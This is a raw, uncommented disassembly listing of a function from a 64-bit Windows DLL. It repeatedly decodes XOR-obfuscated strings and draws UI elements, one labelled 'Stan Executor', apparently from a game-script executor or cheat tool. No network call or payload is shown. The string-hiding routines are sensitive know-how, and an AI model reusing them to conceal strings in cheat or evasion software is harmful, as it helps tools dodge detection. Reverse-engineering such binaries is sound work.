movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x180183390]
xorps xmm1, xmm0
movd dword [rbp + 0x648], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x64c]
xorps xmm2, xmm1
movd dword [rbp + 0x64c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x650], xmm2
mov r8d, ntohl
mov eax, r8d
lea r9, [rbp + 0x648]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1800ca2e0
lea rax, [rbp + 0x1640]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x300]
lea rcx, [rbp + 0x648]
call fcn.180008f00
movzx eax, word [0x1801833d8]
mov word [rbp + 0x460], ax
movsd xmm0, qword [str.sYY_VX]
movzx eax, byte [0x1801833da]
movsd qword [rbp + 0x458], xmm0
mov byte [rbp + 0x458], 0x45
xor byte [rbp + 0x459], 0x37
xor byte [rbp + 0x45a], 0x38
xor byte [rbp + 0x45b], 0x39
xor byte [rbp + 0x45c], 0x3a
xor byte [rbp + 0x45d], 0x3b
xor byte [rbp + 0x45e], 0x3c
xor byte [rbp + 0x45f], 0x3d
xor byte [rbp + 0x460], 0x3e
xor byte [rbp + 0x461], 0x3f
xor al, 0x40
mov byte [rbp + 0x462], al
mov r8, r12
lea rdx, [0x1801ae920]
lea rcx, [rbp + 0x458]
call fcn.18003fb10
mov cl, 1
call fcn.18000c5c0
movsd xmm0, qword [str.Q_M_]
movsd qword [rbp + 0x318], xmm0
movzx eax, byte [0x1801833e8]
mov byte [rbp + 0x318], 0x67
xor byte [rbp + 0x319], 0x37
xor byte [rbp + 0x31a], 0x38
xor byte [rbp + 0x31b], 0x39
xor byte [rbp + 0x31c], 0x3a
xor byte [rbp + 0x31d], 0x3b
xor byte [rbp + 0x31e], 0x3c
xor byte [rbp + 0x31f], 0x3d
xor al, 0x3e
mov byte [rbp + 0x320], al
lea rcx, [rbp + 0x318]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rax + 0x1da128]
lea rcx, [rbp + 0x18c8]
call fcn.18004fff0
nop
mov rax, qword [rbp + 0x18d8]
test rax, rax
jne 0x1800ca9f4
movups xmm0, xmmword [0x180183400]
movups xmmword [rbp + 0xb38], xmm0
movsd xmm0, qword [0x180183410]
movsd qword [rbp + 0xb48], xmm0
mov eax, dword [0x180183418]
mov dword [rbp + 0xb50], eax
movzx eax, word [0x18018341c]
mov word [rbp + 0xb54], ax
cmp byte [0x18018341d], 0
je 0x1800ca5f3
mov r8d, edi
cmp r15d, 2
jl 0x1800ca5b3
movdqa xmmword [rsp + 0x50], xmm13
lea rcx, [rbp + 0xb3c]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1800ca4c0
cmp r8d, 0x1e
jge 0x1800ca5f3
movsxd rax, r8d
lea r9, [rbp + 0xb38]
add r9, rax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x1800ca5c0
movzx eax, word [0x1801833fc]
mov word [rbp + 0x774], ax
movzx eax, byte [0x1801833fe]
mov ecx, dword [0x1801833f8]
movsd xmm0, qword [0x1801833f0]
mov byte [rbp + 0x776], al
mov dword [rbp + 0x770], ecx
movsd qword [rbp + 0x768], xmm0
mov dword [rbp + 0x30c], 0x42960000
mov dword [rbp + 0x308], 0x43910000
mov r8d, edi
cmp r15d, 2
jl 0x1800ca799
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x1801833f0]
xorps xmm1, xmm0
movd dword [rbp + 0x768], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x76c]
xorps xmm2, xmm1
movd dword [rbp + 0x76c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x770], xmm2
mov r8d, ntohl
mov eax, r8d
lea r9, [rbp + 0x768]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1800ca7b0
lea rax, [rbp + 0xb38]
mov qword [rsp + 0x28], rax
lea rax, [0x1801380d0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x308]
lea rcx, [rbp + 0x768]
call fcn.180008f00
movsd xmm0, qword [0x180183420]
movsd qword [rbp + 0x5e8], xmm0
mov ecx, dword [0x180183428]
mov dword [rbp + 0x5f0], ecx
movzx eax, byte [0x18018342c]
mov byte [rbp + 0x5f4], al
mov r8d, edi
cmp r15d, 2
jl 0x1800ca996
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm6, xmm0
andps xmm6, xmm10
packuswb xmm6, xmm6
packuswb xmm6, xmm6
movd eax, xmm13
movd xmm0, eax
paddb xmm6, xmm0
movd xmm0, dword [0x180183420]
xorps xmm6, xmm0
movd dword [rbp + 0x5e8], xmm6
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm8, xmm0
andps xmm8, xmm10
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd xmm0, eax
paddb xmm8, xmm0
movd xmm1, dword [rbp + 0x5ec]
xorps xmm8, xmm1
movd dword [rbp + 0x5ec], xmm8
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm9, xmm0
andps xmm9, xmm10
packuswb xmm9, xmm9
packuswb xmm9, xmm9
movd xmm0, eax
paddb xmm9, xmm0
movd xmm1, ecx
xorps xmm9, xmm1
movd dword [rbp + 0x5f0], xmm9
mov r8d, ntohl
mov eax, r8d
lea r9, [rbp + 0x5e8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1800ca9b0
lea rcx, [rbp + 0x5e8]
call fcn.180049210
jmp 0x1800cb0d3
mov ecx, WSASetLastError
mov r10d, Ordinal_79
cmp rax, 6
cmove r10d, ecx
movups xmm0, xmmword [0x180183440]
movups xmmword [rbp + 0xb18], xmm0
movsd xmm0, qword [0x180183450]
movsd qword [rbp + 0xb28], xmm0
mov eax, dword [0x180183458]
mov dword [rbp + 0xb30], eax
movzx eax, word [0x18018345c]
mov word [rbp + 0xb34], ax
cmp byte [0x18018345d], 0
je 0x1800caba3
mov r8d, edi
cmp r15d, 2
jl 0x1800cab63
movdqa xmmword [rsp + 0x50], xmm13
lea rcx, [rbp + 0xb1c]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm7
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1800caa70
cmp r8d, 0x1e
jge 0x1800caba3
movsxd rax, r8d
lea r9, [rbp + 0xb18]
add r9, rax
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x1800cab70
movzx eax, word [0x18018343c]
mov word [rbp + 0x714], ax
movd xmm0, r10d
movzx eax, byte [0x18018343e]
mov ecx, dword [str.mZ271D]
movsd xmm1, qword [str.uBJK_UH]
cvtdq2ps xmm0, xmm0
mov byte [rbp + 0x716], al
mov dword [rbp + 0x710], ecx
movsd qword [rbp + 0x708], xmm1
movss dword [rbp + 0x314], xmm0
mov dword [rbp + 0x310], 0x43910000
mov r8d, edi
cmp r15d, 2
jl 0x1800cad4f
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.uBJK_UH]
xorps xmm1, xmm0
movd dword [rbp + 0x708], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x70c]
xorps xmm2, xmm1
movd dword [rbp + 0x70c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x710], xmm2
mov r8d, ntohl
mov eax, r8d
lea r9, [rbp + 0x708]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1800cad60
lea rax, [rbp + 0xb18]
mov qword [rsp + 0x28], rax
lea rax, [0x1801380d0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x310]
lea rcx, [rbp + 0x708]
call fcn.180008f00
mov rax, qword [0x1802b4588]
mov r8, qword [rax]
add r8, 0xf8
lea rdx, [rbp + 0x18e8]
lea rcx, [0x1802b4385]
call fcn.1800a6010
nop
cmp qword [rbp + 0x18f8], 6
jae 0x1800cafef
movsd xmm0, qword [str.rRKZUUYJ_.B]
movsd qword [rbp + 0x5f8], xmm0
mov ecx, dword [0x180183468]
mov dword [rbp + 0x600], ecx
movzx eax, byte [0x18018346c]
mov byte [rbp + 0x604], al
mov r8d, edi
cmp r15d, 2
jl 0x1800caf79
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm6, xmm0
andps xmm6, xmm10
packuswb xmm6, xmm6
packuswb xmm6, xmm6
movd eax, xmm13
movd xmm0, eax
paddb xmm6, xmm0
movd xmm0, dword [str.rRKZUUYJ_.B]
xorps xmm6, xmm0
movd dword [rbp + 0x5f8], xmm6
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm8, xmm0
andps xmm8, xmm10
packuswb xmm8, xmm8
packuswb xmm8, xmm8
movd xmm0, eax
paddb xmm8, xmm0
movd xmm1, dword [rbp + 0x5fc]
xorps xmm8, xmm1
movd dword [rbp + 0x5fc], xmm8
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
psubd xmm9, xmm0
andps xmm9, xmm10
packuswb xmm9, xmm9
packuswb xmm9, xmm9
movd xmm0, eax
paddb xmm9, xmm0
movd xmm1, ecx
xorps xmm9, xmm1
movd dword [rbp + 0x600], xmm9
mov r8d, ntohl
mov eax, r8d
lea r9, [rbp + 0x5f8]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1800caf90
lea rax, [rbp + 0x5f8]
nop word [rax + rax]
inc rsi
cmp byte [rax + rsi], 0
jne 0x1800cafd0
mov r8, rsi
lea rdx, [rbp + 0x5f8]
lea rcx, [rbp + 0x18e8]
call fcn.1800499a0
mov eax, dword [0x180183470]
mov dword [rbp - 0xc], eax
movzx eax, byte [0x180183474]
mov byte [rbp - 0xc], 0x49
xor byte [rbp - 0xb], 0x37
xor byte [rbp - 0xa], 0x38
xor byte [rbp - 9], 0x39
xor al, 0x3a
mov byte [rbp - 8], al
lea r8, [rbp + 0x18e8]
lea rdx, [rbp - 0xc]
lea rcx, [rbp + 0xd78]
call fcn.18008d280
nop
cmp qword [rax + 0x18], 0xf
jbe 0x1800cb036
mov rax, qword [rax]
mov rcx, rax
call fcn.180049210
nop
lea rcx, [rbp + 0xd78]
call fcn.18003e1a0
cmp qword [rbp + 0x18d8], 6
jne 0x1800cb0c7
mov eax, dword [str.uX_]
mov dword [rbp + 0x4c], eax
movzx ecx, word [0x18018347c]
mov word [rbp + 0x50], cx
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x4c], 0x43
xor byte [rbp + 0x4d], 0x37
xor byte [rbp + 0x4e], 0x38
xor byte [rbp + 0x4f], 0x39
xor cl, 0x3a
mov byte [rbp + 0x50], cl
xor byte [rbp + 0x51], 0x3b
xor al, 0x3c
mov byte [rbp + 0x52], al
lea r8, [rbp + 0x18c8]
lea rdx, [rbp + 0x4c]
lea rcx, [rbp + 0xd98]
call fcn.18008d280
nop
cmp qword [rax + 0x18], 0xf
jbe 0x1800cb0b1
mov rax, qword [rax]
mov rcx, rax
call fcn.180049210
nop
lea rcx, [rbp + 0xd98]
call fcn.18003e1a0
nop
lea rcx, [rbp + 0x18e8]
call fcn.18003e1a0
mov cl, 1
call fcn.18000c5c0
nop
mov rdx, qword [rbp + 0x18e0]
cmp rdx, 0xf
jbe 0x1800cb11f
inc rdx
mov rcx, qword [rbp + 0x18c8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800cb11a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1800cb11a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.18012e518
mov qword [rbp + 0x18d8], rdi
mov qword [rbp + 0x18e0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x18c8], 0
call fcn.18000cc90
xor ecx, ecx
call fcn.18000c5c0
jmp 0x1800cb14a
xorps xmm12, xmm12
call fcn.18000e1b0
mov rbx, rax
movdqa xmm0, xmmword [0x180184ae0]
movups xmmword [rbp + 0x7f8], xmm0
lea rcx, [rbp + 0x7f8]
call fcn.18000b470
movss xmm3, dword [rbp + 0x17c4]
movaps xmm1, xmm3
addss xmm1, dword [0x180184990]
movss xmm2, dword [rbp + 0x17c0]
movaps xmm0, xmm2
addss xmm0, dword [0x180184994]
movss dword [rbp + 0x5c], xmm0
movss dword [rbp + 0x60], xmm1
addss xmm3, dword [0x18018498c]
addss xmm2, xmm12
movss dword [rbp + 0x64], xmm2
movss dword [rbp + 0x68], xmm3
mov dword [rsp + 0x28], 0xc0
movss xmm0, dword [0x180138b90]
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rbp + 0x5c]
lea rdx, [rbp + 0x64]
mov rcx, rbx
call fcn.180021da0
call fcn.18000e1b0
mov rdi, rax
movdqa xmm0, xmmword [0x180184b40]
movups xmmword [rbp + 0x848], xmm0
lea rcx, [rbp + 0x848]
call fcn.18000b470
mov ebx, eax
movss xmm9, dword [rbp + 0x17c4]
movaps xmm6, xmm9
addss xmm6, dword [0x180184990]
movss xmm7, dword [rbp + 0x17c0]
movaps xmm8, xmm7
addss xmm8, dword [0x180184998]
addss xmm9, dword [0x18018498c]
addss xmm7, xmm12
movss xmm0, dword [0x180138bd8]
movss dword [rsp + 0x20], xmm0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.Stan_Executor
lea rcx, [rbp + 0x6c]
call fcn.18000a390
movss xmm0, dword [rax + 4]
movss xmm1, dword [0x180138b38]
mulss xmm0, xmm1
subss xmm6, xmm9
mulss xmm6, xmm1
addss xmm9, xmm6
subss xmm9, xmm0
subss xmm8, xmm7
mulss xmm8, xmm1
addss xmm8, xmm7
movss xmm0, dword [rax]
mulss xmm0, xmm1
subss xmm8, xmm0
movss dword [rbp + 0x88], xmm8
movss dword [rbp + 0x8c], xmm9
xor esi, esi
mov qword [rsp + 0x20], rsi
lea r9, str.Stan_Executor
mov r8d, ebx
lea rdx, [rbp + 0x88]
mov rcx, rdi
call fcn.1800254f0
call fcn.18000e580
movss xmm0, dword [rax + 8]
movss dword [rbp + 0x90], xmm0
mov dword [rbp + 0x94], 0x41200000
lea rcx, [rbp + 0x90]
call fcn.18001a100
call fcn.180009b80
call fcn.1800a56b0
call fcn.18000cc90
call fcn.18000c8c0
call fcn.18000c260
mov r12, qword [rbp + 0x80]
mov rdi, qword [rbp + 0x78]
mov rdx, qword [r12 + 0x18]
cmp rdx, 0xf
jbe 0x1800cb358
mov rcx, qword [r12]
inc rdx
cmp rdx, 0x1000
jb 0x1800cb353
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800cb416
mov rcx, r8
call fcn.18012e518
mov qword [r12 + 0x10], rsi
mov qword [r12 + 0x18], reloc.WS2_32.dll_ntohs
mov byte [r12], 0
mov rdx, qword [rdi + 0x18]
cmp rdx, 0xf
jbe 0x1800cb3a5
inc rdx
mov rcx, qword [rdi]
cmp rdx, 0x1000
jb 0x1800cb3a0
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x1800cb41d
mov rcx, r8
call fcn.18012e518
mov qword [rdi + 0x10], rsi
mov qword [rdi + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rdi], 0
mov rcx, qword [rbp + 0x1ce0]
xor rcx, rsp
call fcn.18012eac0
lea r11, [rsp + 0x1e98]
movaps xmm6, xmmword [r11 - 0x18]
movaps xmm7, xmmword [r11 - 0x28]
movaps xmm8, xmmword [r11 - 0x38]
movaps xmm9, xmmword [r11 - 0x48]
movaps xmm10, xmmword [r11 - 0x58]
movaps xmm11, xmmword [r11 - 0x68]
movaps xmm12, xmmword [r11 - 0x78]
movaps xmm13, xmmword [r11 - 0x88]
movaps xmm14, xmmword [r11 - 0x98]
movaps xmm15, xmmword [r11 - 0xa8]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea r8, [rbp + 0xfd8]
lea rdx, [rsp + 0x50]
lea rcx, str.create_directories
call fcn.1800722d0
nop
call fcn.18012e340
int3
call fcn.1800498d0
int3
lea rcx, [0x1802b4b5c]
call fcn.18012e938
cmp dword [0x1802b4b5c], 0xffffffff
jne 0x1800bf6f9
lea rcx, [0x180135730]
call fcn.18012e878
lea rcx, [0x1802b4b5c]
call fcn.18012e8cc
jmp 0x1800bf6f9
call fcn.18001e590
int3
call fcn.1800498d0
int3